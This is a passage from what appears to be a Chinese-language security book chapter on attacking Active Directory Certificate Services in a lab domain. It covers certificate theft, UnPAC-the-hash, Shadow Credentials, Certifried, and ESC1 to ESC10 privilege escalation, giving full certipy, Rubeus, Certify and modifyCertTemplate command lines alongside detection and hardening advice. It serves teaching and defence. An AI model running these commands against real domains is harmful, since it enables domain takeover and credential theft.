openssl x509 -inform DER -outform PEM -in C7889A4CBF0B4F10CA29347D81327DC6CED9ED95.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_exchange_capi_0_te-User-d700e753-1b10-45c7-aa92-b8a8ffe7493d.keyx.rsa.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:12345 -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out drogo_cert.pfx
前述命令的结果如下图所示:
图 8.3 – 成功为 khal.drogo 构建 .pfx 证书
一个重要的注意事项是,/rpc
密钥在 dpapi::masterkey
命令中将启动与域控制器的 IPC
$ 的连接,并创建一个名为 pipe
的 protected_storage
。我们可以在下图中看到流量示例:
图 8.4 – 机器与域控制器之间的流量
另一种检测证书盗窃的方法是通过审计 SACL。通过使用对象读取 SACL,防御者可以检测对 DPAPI 主密钥和私钥的访问。Windows 事件 ID 4663 将被记录到服务器事件日志中,包括进程名称。
THEFT3 – 通过 DPAPI 盗取机器证书
为了窃取机器证书,攻击者需要获取提升的权限。机器主密钥位于 C:\Windows\System32\Microsoft\Protect\S-1-5-18\User
和 C:\Windows\System32\Microsoft\Protect\S-1-5-18
文件夹中。机器证书的私钥位于 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
文件夹中(适用于 CAPI),以及 C:\ProgramData\Microsoft\Crypto\Keys
文件夹中(适用于 CNG)。要解密这些私钥,必须使用 DPAPI_SYSTEM
密钥。为了执行这个攻击,我们将使用 SharpDPAPI
[7] 工具。我们将以提升的权限运行此工具;它会自动提升到 SYSTEM
权限,提取 DPAPI_SYSTEM
密钥,并使用它来查找和解密主密钥。最后,它将解密所有机器证书的私钥:
SharpDPAPI.exe certificates /machine
提升权限和获取 DPAPI_SYSTEM
密钥的过程可以在这里看到:
图 8.5 – 使用 SharpDPAPI 获取 DPAPI_SYSTEM
SharpDPAPI 执行的结果如下所示:
图 8.6 – 解密的机器证书私钥之一
此攻击使用 DPAPI_SYSTEM
密钥,因此不会从机器发送任何流量。唯一可能的检测方式是通过 SACL 阅读 DPAPI 加密的密钥进行审计。
THEFT4 – 获取证书文件
另一个有效的攻击方法是简单地搜索证书(.crt**/**.cer**/
.pfx)、密钥(.key)、CSR(.csr)和 Java 密钥库(.jks**/**.keystore**/
.keys)。对于密码保护的证书,可以借助 pfx2john
工具提取哈希值,然后进行破解。为了理解证书的用途,我们可以运行以下命令:
certutil -dump -v drogo_cert.pfx
以下是执行上述命令对 THEFT2 攻击中提取的用户证书进行处理后的结果:
图 8.7 – 获取的 khal.drogo 证书的 EKU
重要说明:如果在转储时出现 无效密码 错误,您需要在最后一步(使用 openssl
在 Linux 机器上构建 .pfx
证书时)添加 -legacy
选项。
建议的检测方法是引入“蜜罐证书”,以便防御方能够检测和跟踪恶意活动。
THEFT5 – 通过 PKINIT 窃取 NTLM 凭证(nPAC-the-hash)
PKINIT 是一种预认证验证机制。简而言之,当使用 PKINIT 获取 TGT 时,我们可以从 TGS-REQ 中的 PAC_CREDENTIAL_INFO
结构中提取 LM 和 NT 哈希值。此功能使我们能够在远程服务器不支持 Kerberos 而仍依赖 PKINIT 进行预认证时,切换回 NTLM 认证。
攻击步骤如下:
-
使用 PKINIT 进行预身份验证并获得包含会话密钥的 TGT。TGT 中的 PAC 将包含
PAC_CREDENTIAL_INFO
结构,其中包含 NT 和 LM 哈希,但由于它是用krbtgt
密钥加密的,因此无法解密。 -
接下来,通过结合 S4U2self 和 U2U 请求服务票证。
-
获取的服务票证将包含 PAC 和
PAC_CREDENTIAL_INFO
结构,该结构是用会话密钥加密的,可以解密。
需要提到的重要一点是,我们需要访问证书及其密码。这听起来有点复杂,但所有这些都可以通过 Rubeus 中的单个命令完成:
Rubeus.exe asktgt /getcredentials /user:khal.drogo /certificate:drogo_cert.pfx /password:12345 /domain:essos.local /show
前述命令的结果如下截图所示:
图 8.8 – khal.drogo 用户的 UnPAC 哈希
可以根据 U2U 和 S4U2self 请求期间票证上设置的标志来检测此技术。如果在 TGS-REQ 中设置了 Forwardable
、Renewable
、Renewable_ok
、Enc_tkt_in_skey
和 Canonicalize
选项,则很可能使用了 Certipy、Kekeo 或 Rubeus[8]。另一种方法是通过跟踪 Windows 事件 ID 4768
来查找证书信息值。
在下一节中,我们将讨论帐户持久性技术。
帐户持久性
在攻击者获得初步控制后,下一步通常是建立持久性。在本节中,我们将仅讨论依赖于证书使用的持久性技术。
PERSIST1 – 通过证书进行的活动用户凭证盗窃
用户可以请求 CA 环境中任何他们被允许注册的模板的证书。攻击者可能会集中在允许客户端身份验证的模板上。一个重要的注意事项是,模板不应要求经理批准或“授权签名”要求。这个要求定义了需要为证书请求应用多少个数字签名以获得批准。有一个默认模板叫做 User
,但它可能已被禁用。为了找到其他可用的模板,我们可以使用一个叫做 Certify
的工具[9]。以下命令将发送 LDAP 查询并显示可用的模板:
Certify.exe find /clientauth
执行命令的结果如下:
图 8.9 – Certify 找到了客户端身份验证证书模板
在此示例中,不需要授权签名,域用户可以注册证书。然后,攻击者可以在 GUI 中、使用 certreq
工具或 Certify 请求证书:
Certify.exe request /ca:braavos.essos.local\essos-ca /template:User
证书已成功发放:
图 8.10 – 用户证书已发放
下一步是从输出文件中复制私钥和证书,并将其保存为 .pem
扩展名。然后,使用 openssl
将其转换为 .pfx
格式,如下所示命令:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -legacy -out viserys_cert.pfx
现在我们已经获得了一个证书,可以在证书有效期内用来请求 TGT。而且,用户密码的更改不会影响证书。如前所述,在 THEFT5 中,攻击者可以随时通过 nPAC-the-hash 获取用户的 NT 哈希值。这是一种隐蔽且长期有效的凭证访问技术。
要检测这种类型的持久性,必须借助 certutil.exe
查询 CA 数据库。在 Windows 事件日志中未显示很多有价值的信息——尤其是操作系统版本、用户/进程信息、证书中的主题等。这些参数对于检测恶意活动非常有帮助。
PERSIST2 – 通过证书实现机器持久性
发放机器证书需要提升的权限。Certify 会自动提升权限至SYSTEM
,并使用以下命令获取机器证书:
Certify.exe request /ca:braavos.essos.local\essos-ca /template:Machine /machine
结果如下图所示:
图 8.11 – 已发放机器证书
后续步骤相当直接。攻击者可以通过机器上的 S4U2self 获取任何服务的服务票证,并以任何用户身份访问该服务。持久性将在证书过期或系统名称更改之前持续有效。这种方式非常隐蔽,因为主机没有发生任何更改。
检测方法与 PERSIST1 相同。
PERSIST3 – 通过证书续期实现账户持久性
攻击者可以在证书有效期内使用证书,并在续期期间或更早时续订证书。此方法难以检测,因为它使用的是内置功能,几乎不留下任何痕迹。
Shadow 凭证
这种技术是一种账户接管;然而,它仍然可以视为账户持久性。原始研究由 Elad Shamir [10] 发布。如果用户是 Key Admins
或 Enterprise Key Admins
的成员,或者对其他用户或计算机账户拥有 GenericWrite
或 GenericAll
权限,则可以将 Key Credentials
添加到 msDS-KeyCredentialLink
属性中。该属性存储原始公钥,之后这些公钥将用于通过 PKINIT 执行 Kerberos 身份验证,代表该账户进行身份验证。攻击可以通过 Whisker
[11] 或 Certify
来执行。第一步,攻击者会识别我们已经拥有必要权限的用户。
图 8.12 – 用户 khal.drogo 对 viserys.targaryen 拥有 GenericAll 权限
现在,以下命令将向 msDS-KeyCredentialLink
属性中添加信息:
Whisker.exe add /target:viserys.targaryen /domain:essos.local
在后台,Whisker 会通过 LDAP 和 Kerberos 与域控制器进行交互。攻击步骤会显示在工具输出中,并附有执行 nPAC-the-hash 攻击的 Rubeus 命令。
图 8.13 – Shadow 凭证攻击
为了验证属性是否已成功更新,攻击者可以运行list
命令。一个属性包含用户 ID、认证数据、公共密钥、最后登录时间和设备 ID,但输出结果将只显示最后两个:
图 8.14 – 属性值检查
可以通过监控事件 ID 4768
来进行检测,其中会显示证书信息。另一种检测方法是为用户的 Active Directory 对象配置 SACL,并监控事件 ID 5136
。还可以检查另一个事件 ID 4662
。一些重要信息包括 GUID(5b47d60f-6090-40b2-9f37-2a4de88f3063)和写属性访问[8]。预防建议通常适用于 ACL 滥用场景——查找配置错误的帐户并修复它们。此外,建议明确拒绝Everyone
对该属性的写入权限。
下一部分将介绍域权限提升攻击。
域权限提升
在本部分中,我们将探讨通过利用各种安全问题(如模板和扩展配置错误(ESC1、2、3、9 和 10)、不当访问控制(ESC4、5 和 7)、CA 配置错误(ESC6)和中继攻击(ESC8 和 11))来提升权限的实际技术。我选择了这样的攻击分组,参考了[12]。但首先,我们将从由Oliver Lyak发现的一个关键漏洞开始,称为Certifried
,它在补丁后演变为 ESC9 和 ESC10。
Certifried(CVE-2022-26923)
该漏洞与samAccountName
欺骗(CVE-2021-42278)有许多相似之处。作者的原创研究已在此发布[13]。
在 AD CS 中,默认情况下有两个认证证书:用户和机器。每个用户帐户都有一个用户主体名称(UPN),该名称必须是唯一的。UPN 嵌入到证书中,并在认证过程中由 KDC 使用。计算机帐户没有 UPN,dNSHostName
作为替代使用。计算机帐户的创建者有权写入此属性,称为验证写入 DNS 主机名。该属性不要求唯一性,但在dNSHostName
更改后,SPN 也将更改。SPN 在域中有唯一性要求,但计算机帐户创建者可以更改 SPN(验证写入服务主体名称)。攻击的思路是创建一个计算机帐户,清除包含完全限定域名(FQDN)的 SPN,将dNSHostName
更改为与目标匹配(例如,域控制器),然后请求证书。需要特别说明的是,dNSHostName
属性仅在请求证书时使用,而不用于证书映射。
为了在本节中进行攻击,我们将使用名为 Certipy[14] 的工具;不过,也有一个名为certipy-ad
的分支,可以安装在 Kali 上。两种工具的语法是相同的。两种工具都支持所有特权提升场景、影子凭据攻击和金色证书伪造。
首先,我们为攻击做必要的准备。我们将创建一个计算机帐户,清除 SPN,并将 dNSHostName
属性更改为与域控制器匹配。以下 PowerShell 命令和 StandIn
工具将完成这项工作:
StandIn.exe –computer legitpc –make
Set-ADComputer legitpc -ServicePrincipalName @{}
Set-ADComputer legitpc -DnsHostName meereen.essos.local
Get-ADComputer legitpc -properties dnshostname,serviceprincipalnames
前面命令执行的结果如下截图所示:
图 8.15 – Certifried 利用准备
现在,使用 certipy-ad
,我们请求证书并以域控制器计算机帐户身份进行身份验证:
certipy-ad req -u 'legitpc$@essos.local' -p 'xfdb8UeqqgT9Aje' -target 192.168.56.23 -ca ESSOS-CA -template Machine -dc-ip 192.168.56.12
certipy-ad auth -pfx meereen.pfx -dc-ip 192.168.56.12
命令执行的结果如下截图所示:
图 8.16 – 获取域控制器的哈希值和 TGT
在证书检索后,建议将dNSHostName
更改回原始值[15]。现在,我们已经获得了域控制器计算机帐户的 NT 哈希值,可以用来进行身份验证或伪造 Silver Ticket。为了防止被利用,请安装 Microsoft 提供的补丁。
在下一节中,您将学习模板和扩展配置错误如何导致特权提升。
模板和扩展的配置错误
以下小节详细说明了一些常见的证书模板和扩展配置错误的方式。
ESC1 – 配置错误的证书模板
一组特定的设置,包括默认设置,使模板容易受到攻击。此特权提升场景需要以下配置设置:
-
标准用户拥有由企业 CA 授予的注册权限
-
禁用经理审批(
mspki-enrollment-flag
为 0x00000000) -
无需授权签名(
msPKI-RA-Signature
为 0x00000000) -
证书模板定义了任何客户端身份验证 EKUs
-
证书模板允许请求者在 CSR 中指定
subjectAltName
(msPKI-Certificate-Name-Flag
为 0x00000001)
最后一项有效地允许用户以任何身份请求证书,包括域管理员。此行为由证书模板 AD 对象中的 mspki-certificate-name-flag
属性中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
标志定义。为了找到这种配置错误的模板,攻击者可以使用 Certify/Certipy 或纯 LDAP 查询。LDAP 查询看起来很复杂,但其实它只是前述配置选项的拼接:
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentenrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=essos,DC=local'
查询的结果如下:
图 8.17 – LDAP 查询查找 ESC1 漏洞模板
现在,我们将验证 LDAP 查询的结果,为内建域管理员签发证书并使用该证书进行身份验证:
certipy-ad find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -vulnerable -stdout
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC1 -upn 'administrator@essos.local'
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
结果如下截图所示:
图 8.18 – ESC1 的成功利用
为防止特权提升,需要对模板进行加固。最佳做法是禁用Supply in Request
设置,并强制执行 CA 证书经理的批准。接下来,可以收紧用户注册权限,并审查证书中的 EKU。最后,在域控制器上,可以在HKLM\SYSTEM\CurrentControlSet\Services\Kdc
注册表项中强制执行严格的用户映射,并将 DWORD UseSubjectAltName
值设置为0
。
使用 Windows 事件日志无法直接可靠地检测 ESC1,因此更好的做法是考虑采取预防措施。
ESC2 – 配置错误的证书模板
这种技术与 ESC1 类似,但有些微小的偏差。Any Purpose
EKU 允许攻击者以用户身份本身请求认证证书,而不是代表其他用户。漏洞存在的条件如下:
-
标准用户有企业 CA 授予的注册权限
-
管理员批准已禁用(
mspki-enrollment-flag
为 0x00000000) -
无需授权签名(
msPKI-RA-Signature
为 0x00000000) -
证书模板定义了
Any Purpose
EKU 或没有 EKU
查找易受攻击模板的 LDAP 查询如下:
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'
查询结果如下:
图 8.19 – 查找 ESC2 易受攻击模板的 LDAP 查询
以下命令将允许你为khal.drogo
请求证书并用于身份验证:
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC2
certipy-ad auth -pfx khal.drogo.pfx -dc-ip 192.168.56.12
结果如下截图所示:
图 8.20 – ESC2 的成功利用
针对此问题的预防建议与 ESC1 相同。
ESC3 – 配置错误的注册代理模板
这个特权提升向量利用了不同的 EKU – Certificate Request Agent
(OID 1.3.6.1.4.1.311.20.2.1)。该 EKU 允许你代表其他用户注册证书。主体在此类模板中注册,并使用签发的证书代替其他用户共同签署 CSR。下一步是注册一个允许代表用户发送共同签署 CSR 的模板,然后 CA 将为该用户签发证书。此攻击需要满足两个条件。第一个条件要求注册代理证书模板允许用户注册。为了成功进行攻击,以下配置参数必须存在:
-
标准用户有企业 CA 授予的注册权限
-
管理员批准已禁用(
mspki-enrollment-flag
为 0x00000000) -
无需授权签名(
msPKI-RA-Signature
为 0x00000000) -
证书模板定义了证书请求
和之前一样,我们将利用 LDAP 查询查找一个符合第一个条件的模板:
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.1)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'
结果是,我们找到了匹配第一个条件的 ESC3-CRA 模板:
图 8.21 – 使用 LDAP 查询查找证书请求代理模板
第二个条件允许用户使用第一个条件中的证书,代表其他用户请求证书以进行身份验证。对于此条件,必须满足以下配置参数:
-
企业 CA 授予低权限用户注册权限
-
管理员批准已禁用
-
证书模板定义了启用身份验证的 EKU
-
CA 上未实现注册代理限制
-
模板架构版本为 1 或更大,并指定
Application Policy
发布要求作为证书请求
听起来有点复杂,但以下 LDAP 查询可以明确要求:
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=1)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'
结果是,我们找到了 ESC3 易受攻击模板:
图 8.22 – 使用 LDAP 查询查找 ESC3 易受攻击模板
攻击将分为两步 – 为代理请求证书,然后使用该证书代表域管理员请求证书。以下命令将实现所需结果:
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC3-CRA
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC3 -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
命令执行的结果如以下截图所示:
图 8.23 – ESC3 成功利用
预防措施将与之前的两种攻击类似,但也很重要的一点是要限制注册代理。我们可以定义谁可以作为注册代理,以及代理被允许代表哪些用户和证书模板进行注册。
ESC9 – 无安全扩展
这个和下一个攻击向量是Oliver Lyak在 2022 年 5 月的 Microsoft 安全更新后发现的。原始研究可以在这里找到[16]。为了修复 Certifried(CVE-2022–26923),Microsoft 引入了新的szOID_NTDS_CA_SECURITY_EXT
安全扩展,将请求者的objectSid
属性嵌入证书中。此外,还创建了两个新的注册表项值 – HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods
和 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
。这两个值对应 Kerberos 和 Schannel 证书映射。
StrongCertificateBindingEnforcement
可能有三个值,对应以下内容:
-
0
– 无强证书映射检查。KDC 验证证书是否由受信任的 CA 颁发并可用于认证。接下来,通过 UPN 或 DNS SAN 值将其映射到账户。 -
1
(默认)– 检查账户对象的altSecurityIdentities
属性中是否包含标识符。如果没有,则域控制器将验证证书中的新 SID 扩展(szOID_NTDS_CA_SECURITY_EXT)。如果没有扩展,映射将像值为0
一样执行。 -
2
– 所有检查与1
的值相同,唯一不同的是缺少扩展,这将导致认证被拒绝。
Schannel 认证不会直接使用新的安全扩展,而是通过 Kerberos 使用 S4U2self 来映射证书,因为它支持新的扩展。然而,补丁已经破坏了许多环境中的证书认证,微软建议将注册表键的值设置回旧值。这意味着具有 UPN 或 DNS 名称且CertificateMappingMethods
值为0x4
的证书,在映射过程中不会受到新安全扩展的影响。我们来总结一下 ESC9 的条件:
-
StrongCertificateBindingEnforcement
未设置为2
,或者CertificateMappingMethods
包含0x4
值。 -
模板包含
msPKI-Enrollment-Flag
值,并设置了CT_FLAG_NO_SECURITY_EXTENSION
标志。 -
模板指定了客户端认证 EKU。
-
一个受损的用户拥有
GenericWrite
权限,可以对能注册易受攻击模板的用户进行操作。我们的最终目标是通过已注册的用户帮助受损的用户。
为了模拟此攻击,我们需要在 CA 和域控制器[17]上安装 2022 年 5 月的补丁。建议在安装前先进行快照。然后,我们将创建并发布 ESC9 模板,设置第二个条件的标志,授予viserys.targaryen
注册权限,最后执行攻击。从 Shadow Credentials 攻击中,我们已经知道khal.drogo
对viserys.targaryen
拥有GenericAll
权限。让我们通过以下步骤模拟这个场景:
-
为了确保我们正确准备实验环境,执行以下命令:
certutil -dstemplate ESC9 msPKI-Enrollment-Flag +0x00080000 certutil -dstemplate ESC9 msPKI-Enrollment-Flag reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement
输出应该如下所示:
图 8.24 – 执行 ESC9 攻击的条件已满足
-
获取
viserys.targaryen
的 NT 哈希:certipy shadow auto -u 'khal.drogo@essos.local' -p 'horse' -account viserys.targaryen
-
将
viserys.targaryen
的 UPN 更新为管理员:certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn Administrator
-
使用 ESC9 易受攻击模板以
viserys.targaryen
身份请求证书:certipy req -username 'viserys.targaryen@essos.local' -hashes 'd96a55df6bef5e0b4d6d956088036097' -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC9
-
将
viserys.targaryen
的 UPN 更改回原始值:certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn viserys.targaryen@essos.local
-
通过 nPAC-the-hash 获取管理员的 NT 哈希:
certipy auth -pfx 'administrator.pfx' -domain 'essos.local'
攻击结果如下截图所示:
图 8.25 – 成功利用 ESC9 漏洞
最佳的预防建议是将StrongCertificateBindingEnforcement
设置为2
;但是,这可能会破坏域中的证书认证。此外,使用以下命令从模板中删除msPKI-Enrollment-Flag
:
certutil -dstemplate ESC9 msPKI-Enrollment-Flag -0x00080000
ESC10 - 弱证书映射
这种攻击技术有两种情况 - 当StrongCertificateBindingEnforcement
设置为0
或CertificateMappingMethods
包含值0x4
时。简单来说,这意味着证书的 SAN 优先于新的安全扩展。仍然必须满足关于具有客户端认证 EKU 和GenericWrite
权限的模板的要求。第一种情况与 ESC9 攻击相同,但可以使用任何证书模板。第二种情况针对机器帐户和默认域管理员,因为它们没有 UPN 属性。我们的目标是妥协域管理员。再次,我们将使用khal.drogo
具有viserys.targaryen
上的GenericAll
权限:
-
为确保我们正确准备实验室,运行以下命令:
reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel /v CertificateMappingMethods
输出应该如下截图所示:
图 8.26 - CertificateMappingMethod 值为 0x4,允许 ESC10 攻击
-
检索
viserys.targaryen
的 NT 哈希:certipy shadow auto -u 'khal.drogo@essos.local' -p 'horse' -account viserys.targaryen
-
将
viserys.targaryen
的 UPN 更新为Administrator@essos.local
:certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn 'Administrator@essos.local'
-
注册任何允许客户端认证的证书模板:
certipy req -username 'viserys.targaryen@essos.local' -hash 'd96a55df6bef5e0b4d6d956088036097' -target 192.168.56.23 -ca 'ESSOS-CA' -template User
-
将
viserys.targaryen
的 UPN 更改回原始状态:certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn viserys.targaryen@essos.local
-
通过 Schannel 获取 LDAP shell:
certipy auth -pfx 'administrator.pfx' -domain 'essos.local' -dc-ip 192.168.56.12 -ldap-shell
攻击的结果如下截图所示:
图 8.27 - 成功利用 ESC10
要防止此攻击,请从注册表中的CertificateMappingMethods
设置中删除0x4
部分。
不当的访问控制
由于 Active Directory 中的一切都是对象,这意味着每个对象都有自己的 ACL。在之前的章节中,我们讨论了 ACL 滥用;现在,我们将从 AD CS 的角度重新利用我们的知识。
ESC4 - 易受攻击的证书模板访问控制
证书模板是 Active Directory 中的对象。它们有一个安全描述符,用来定义主体及其对模板的权限。访问控制过于宽松可能会允许攻击者编辑模板设置,使模板易受之前所述技术的攻击。从安全角度来看,关键权限包括所有权、完全控制和任何类型的 写入 权限。现在有多种工具可以帮助识别和滥用易受攻击的模板:PowerView
、Bloodhound、StandIn、Certipy 和 modifyCertTemplate
[18]。关于如何仅使用 PowerView 来利用 ESC4 的详细步骤指南可以在这里找到[19]。在开始时,我们将使用 certipy-ad
工具。我们将检测易受攻击的模板和可以滥用它们的用户:
certipy-ad find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -vulnerable -stdout
以下命令的输出如下:
图 8.28 – khal.drogo 在 ESC4 上具有过多权限
接下来的步骤是通过将 ENROLLEE_SUPPLIES_SUBJECT
属性添加到模板中,使模板容易受到 ESC1 攻击。为了更好地理解这个攻击,我们将借助 modifyCertTemplate
工具,逐步操作。
首先,我们将检查证书的 ACL 和属性:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -raw
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -get-acl
结果,我们将看到一份属性列表,并确认 khal.drogo
对该模板拥有 写入 权限。接下来,我们将配置模板,使其满足 ESC1 攻击的要求:
-
我们将使用以下命令禁用“经理审批”要求:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value 0 -property mspki-enrollment-flag
-
禁用“授权签名”要求:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value 0 -property mspki-ra-signature
-
在请求中启用 SAN 规范:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag
-
添加一个允许域认证的 EKU:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -property pkiExtendedKeyUsage -add "Client Authentication"
-
应用“应用程序策略”以允许域认证:
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy
上述命令的结果如下截图所示:
图 8.29 – 调整后的易受攻击模板适应 ESC1 攻击路径
现在,我们可以像在 ESC1 攻击中一样,滥用配置错误的模板:
certipy-ad req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC4 -ca 'ESSOS-CA' -upn administrator@essos.local
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12
结果,我们成功请求了证书,并以域管理员身份获取了 TGT。
图 8.30 – 成功利用 ESC4 进行攻击
为了防止这种攻击,建议定期审查证书的 ACL,以确保仅将高权限分配给正确的用户组。通过事件 ID 5136
可以检测此类行为,但需要调整审计策略。此事件 ID 监控我们之前更改的关键证书模板属性的修改。另一个有助于检测该事件 ID 的是4899
。然而,事件日志中并没有记录哪个账户进行了更改,并且只有在使用修改后的模板进行注册时,该事件才会被记录[20]。模板 AD 对象上的 SACL 也可以强制执行,从而在事件 ID 4662
中提供更细粒度的视图。
ESC5 – 易受攻击的 PKI 对象访问控制
如果攻击者对以下对象具有某些权限,则可能会危及整个 PKI 系统:
-
CA 服务器的计算机账户
-
CA 服务器的 RPC/DCOM 服务器
-
在
CN=Public** **Key Services,CN=Services,** **CN=Configuration,DC=<COMPANY>,or** **DC=<COM>
容器中的任何后代对象/容器
例如,让我们讨论以下场景。一名攻击者通过 RBCD 成功攻击了 CA 服务器的计算机账户。获得访问权限后,CA 服务器上具有本地管理员权限的域账户的 NT 哈希值被转储。此时,攻击者可以伪造一个 Golden 证书。为了复制这个攻击,我将viserys.targaryen
添加到本地管理员组中。
作为本地管理员,可以使用以下命令备份 CA 证书和私钥:
certipy-ad ca -backup -u viserys.targaryen -p GoldCrown -ca ESSOS-CA -target 192.168.56.23
接下来,我们将为域管理员伪造一个证书并用于身份验证。请记住,-template
选项用于避免 Kerberos KDC_ERR_CLIENT_NOT_TRUSTED
错误,这意味着伪造不正确:
Certipy-ad forge -ca-pfx ESSOS-CA.pfx -upn Administrator@essos.local -subject 'CN=Administrator,CN=Users,DC=essos,DC=local' -template khal.drogo.pfx
certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.56.12
攻击的结果如下截图所示:
图 8.31 – 成功利用 ESC5 漏洞
另一种技术,名为CertSync
,最近被发布。它允许通过结合 Golden 证书和 UnPAC-the-hash 远程转储ntds.dit
,而无需使用 DRSUAPI[21]。显然,需要对 CA 的特权访问。Golden 证书是使用 CA 证书私钥伪造的证书。我们将在后续讨论域持久性技术时详细介绍伪造的过程。CertSync
攻击的步骤如下:
-
从 LDAP 中转储用户列表、CA 信息和 CRL。
-
转储 CA 证书和私钥。
-
为每个用户伪造一个证书。
-
为每个用户获取 NT 哈希值,使用 UnPAC-the-hash。
发起攻击的命令如下:
certsync -u viserys.targaryen -p GoldCrown -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
结果,所有用户的 NT 哈希值被转储:
图 8.32 – 成功的 certsync 攻击
该工具还有一些选项可以提高 OpSec(例如,在身份验证请求之间应用超时,模仿现有模板等)。
另一项令人兴奋的研究成果是由SpecterOps发布的,关于如何通过使用 ESC5 从域管理员晋升为企业管理员。你可以在这里阅读更多[22]。
为了防止 ESC5,对 CA 服务器进行加固,并确保只有必要的帐户可以访问。可以通过审计 SACLs 监控证书模板修改来进行检测。
ESC7 – 可能受攻击的证书颁发机构访问控制
当 CA 本身的 ACL 不够严格时,这种攻击是可能的。我们感兴趣的两个主要权限是ManageCA
(CA 管理员)和颁发和管理证书(证书管理员)。ManageCA
允许添加EDITF_ATTRIBUTESUBJECTALTNAME2
标志,有效地使 CA 容易受到 ESC6 攻击。然而,需要重新启动服务才能引入此更改。此外,安装的 2022 年 5 月安全更新会杀死 ESC6。如何使用 PowerShell PSPKI 模块将过多权限转换为 ESC6 的良好示例可以在这里找到[23]。
然而,ManageCA
权限允许你授予自己颁发和管理证书的访问权限。这个角色允许我们批准待处理的请求,从而消除了经理批准发放的要求。现在,我们可以结合新的权限来执行攻击。默认的SubCA
模板容易受到 ESC1 的攻击,并且具有任何用途的 EKU。攻击者可以使用SubCA
模板请求证书,但请求将被拒绝,因为只有管理员可以在其中注册。然而,可以使用具有ManageCA
和颁发和管理证书权限的帐户手动批准请求。重要的是要注意,这两个权限都是必需的。然后可以手动检索证书并用于域身份验证。
为了展示前述情景,我将授予khal.drogo
用户ManageCA
权限。这可以在证书颁发机构(certsrv)MMC中的CA 属性的安全选项卡中授予。我们将从 CA 的 ACL 枚举开始。我们可以使用一个名为 PSPKI 的 PowerShell 模块或带有cas
参数的Certify.exe
。它将显示khal.drogo
拥有ManageCA
权限。
图 8.33 – ESSOS-CA 的 ACL 枚举
我们将授予khal.drogo
